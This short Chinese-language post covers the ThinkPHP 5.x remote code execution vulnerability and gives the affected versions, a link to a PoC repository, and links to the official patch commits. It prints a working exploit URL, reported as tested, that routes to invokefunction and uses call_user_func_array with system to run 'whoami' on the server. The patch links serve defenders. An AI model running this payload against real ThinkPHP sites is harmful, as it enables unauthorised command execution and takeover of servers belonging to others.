ThinPHP5 代码执行漏洞

近日，thinkphp团队发布了版本更新，其中修复了一处远程代码执行漏洞，可直接getshell，影响范围：v5.x < 5.1.31，<= 5.0.23

PoC：

https://github.com/heroanswer/thinkphp_rce_poc/

t00ls：@SkyBlue永恒给出的payload：

nginx+php7+thinphp5.0.22 测试OK

http://127.0.0.1/thinkphp_5.0.22_with_extend/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

补丁

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

参考：

http://www.vulnspy.com/cn-thinkphp-5.x-rce/thinkphp_5.x_(v5.0.23%E5%8F%8Av5.1.31%E4%BB%A5%E4%B8%8B%E7%89%88%E6%9C%AC)_%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%EF%BC%88getshell%EF%BC%89/